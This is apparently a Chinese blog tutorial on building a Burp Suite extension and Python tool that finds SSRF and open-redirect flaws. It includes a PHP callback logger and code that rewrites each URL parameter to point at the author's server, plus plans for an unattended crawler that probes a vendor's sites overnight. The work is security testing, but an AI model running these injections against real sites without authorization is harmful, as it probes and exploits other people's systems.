Python開發Brup外掛檢測SSRF漏洞和URL跳轉

2022-12-08 18:01:18

作者:饅頭,部落格地址:https://www.cnblogs.com/mantou0/

出身:

作為一名安全人員,工具的使用是必不可少的,有時候開發一些自己用的小工具在滲透時能事半功倍。在平常的滲透測試中和SRC漏洞挖掘中Brupsuite使用的比較多的於是我有了一個小想法。

思路:

1、在伺服器上開啟一個服務,PHP就行,簡單方便,目的是將存取自己的網站路徑給記錄下來,類似DNSlog。

2、寫一個Brup外掛,對brupsuite存取的網站進行轉發(因為編寫Brup外掛用到的是python2,現在一般用的是python3,所以用python2進行socket轉發到python3上面進行檢測)

3、python3的程式碼需要寫一個socket的伺服器端,接收py2使用者端傳來的url

4、隨後使用py3寫一個SSRF和URL跳轉的檢測,這時候就簡單多了,SSRF和URL跳轉怎麼檢測呢?這時候就用到了伺服器開啟的服務了,payload就是例如{http:127.0.0.1?a=1------->http://伺服器地址/?b=http:127.0.0.1?a=1,伺服器記下存取自己的引數b}。

5、優點:被動檢測SSRF漏洞和URL跳轉漏洞,如果存在漏洞都會被送到伺服器上記錄下來。

6、拓展:寫一個網路爬蟲,讓他自己去網路上爬取,無休止的url爬取,限制爬蟲不會爬偏可以採用備案檢測(之爬取指定備案網站)和域名檢測(只爬取指定域名和子域名的網站),同時對存在等號的url進行檢測。扔到伺服器上去跑。過了一晚上你會得到一些SSRF或URL跳轉漏洞。

流程:

graph TB id1(Brup+外掛)--url通過socket-->id2(python3伺服器端) subgraph python3 id2(python3伺服器端)--存取的url-->id22(構造payload) id22--payload-->id3(漏洞檢測) end subgraph 伺服器 id3--存在漏洞-->id4(漏洞url儲存在伺服器本地檔案) id3--不存在漏洞---id5(無任何操作) end

實現:

1、伺服器上搭監控(程式碼如下)

程式碼的意思就是將存取本頁面的引數a儲存到1.txt中

如:http://伺服器地址/xxx.php?a=http://127.0.0.1?b=2

後面的http://127.0.0.1?b=2就會被儲存到1.txt中

<?php
$a = $_GET['a'];
echo '1';
$ip = $_SERVER['REMOTE_ADDR'];
$time = gmdate("H:i:s",time()+8*3600);
$file = "1.txt" ;
$fp=fopen ("1.txt","a") ;
$txt= "$a"."----"."$ip"."----"."$time"."\n";
fputs($fp,$txt);
?>

2、Brup外掛的socket使用者端(程式碼如下)

他的作用是將Brup上面的url傳送到127.0.0.1:6666埠

#coding=utf-8
import os
import time
from burp import IBurpExtender
from burp import IProxyListener
import sys
import socket

if sys.version[0] == '2':
    reload(sys)
    sys.setdefaultencoding("utf-8")

class BurpExtender(IBurpExtender,IProxyListener):
    def registerExtenderCallbacks(self,callbacks):
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("My")
        callbacks.registerProxyListener(self)
    def processProxyMessage(self,messageIsRequest,message):
        if not messageIsRequest:
            RepReq = message.getMessageInfo()
            url=RepReq.getUrl()
            Rep_B = RepReq.getResponse()
            Rep = self._helpers.analyzeResponse(Rep_B)
            Status_code=Rep.getStatusCode()
            Length=Rep.getHeaders()
            Lengths = "".join(Length)
            if 'Content-Length' in Lengths and str(Status_code)!='0':
                tcp_client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                tcp_client_socket.connect(('127.0.0.1', 6666))
                send = str(url)
                tcp_client_socket.send(send.encode("utf-8"))
                feedback = tcp_client_socket.recv(1024)
                feedback.decode('utf-8')
                tcp_client_socket.close()

3、Python3伺服器端建立(程式碼如下)

接收傳過來的url

import os,time
import socket
from urllib import parse
import requests
import threading
import re

def test():
    while True:
        tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        tcp_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        tcp_server_socket.bind(('127.0.0.1', 6666))
        tcp_server_socket.listen(64)
        client_socket, clientAddr = tcp_server_socket.accept()
        recv_data = client_socket.recv(1024)
        u = recv_data.decode('utf-8')
        client_socket.close()
        if not re.search(r'\.(js|css|jpeg|gif|jpg|png|pdf|rar|zip|docx|doc|svg|ico|woff|woff2|ttf|otf)',u):
            print(u)



if __name__ == '__main__':
    threads=[]
    threads.append(threading.Thread(target=test))
    for t in threads:
        t.start()

4、先看一下現在的效果

記得先把外掛裝到brupsuite,可以看到可以返回我們存取的url

5、檢測模組(程式碼如下)

from urllib import parse
import requests
def yn(url):
    r_url = []
    purl = "=http://伺服器地址/xxx.php?a=" + url
    params = parse.parse_qs(parse.urlparse(url).query)
    if params.keys():
        u_value = params.values()
        for i in u_value:
            t_can = '='+str(i[0])
            pj_url = url.replace(t_can,purl)
            r_url.append(pj_url)
    for ru in r_url:
        request = requests.get(ru)

6、python3總程式碼

import socket
import threading
import re
from urllib import parse
import requests

def yn(url):
    r_url = []
    purl = "=http://伺服器地址/xxx.php?a=" + url
    params = parse.parse_qs(parse.urlparse(url).query)
    if params.keys():
        u_value = params.values()
        for i in u_value:
            t_can = '='+str(i[0])
            pj_url = url.replace(t_can,purl)
            r_url.append(pj_url)
    for ru in r_url:
        request = requests.get(ru)

def test():
    while True:
        tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        tcp_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        tcp_server_socket.bind(('127.0.0.1', 6666))
        tcp_server_socket.listen(64)
        client_socket, clientAddr = tcp_server_socket.accept()
        recv_data = client_socket.recv(1024)
        u = recv_data.decode('utf-8')
        client_socket.close()
        if not re.search(r'\.(js|css|jpeg|gif|jpg|png|pdf|rar|zip|docx|doc|svg|ico|woff|woff2|ttf|otf)',u):
            yn(u)
            print(u)



if __name__ == '__main__':
    threads=[]
    threads.append(threading.Thread(target=test))
    for t in threads:
        t.start()

7、看一下實戰效果

首先看一下我的伺服器檔案是一個1

開啟程式監聽brupsuite,看一下pikachu的SSRF能不能檢測到

沒毛病,點選那個頁面他都會有記錄

這時候再看一下伺服器上的檔案,看看能檢測情況,可以看到他已經吧SSRF的路徑記錄了下來

8、拓展(程式碼先不放了還有點小bug需要改)

​ 我將拓展程式放到伺服器上他就會一直不重複的去跑網站,自己會從js中查詢和拼接url,我設定的是備案限制,只爬取某個廠商的網站,寫一個多執行緒不僅能跑出漏洞還能跑出很多子域名。

後續:

​ 後續可以新增更多的poc去檢測更多的漏洞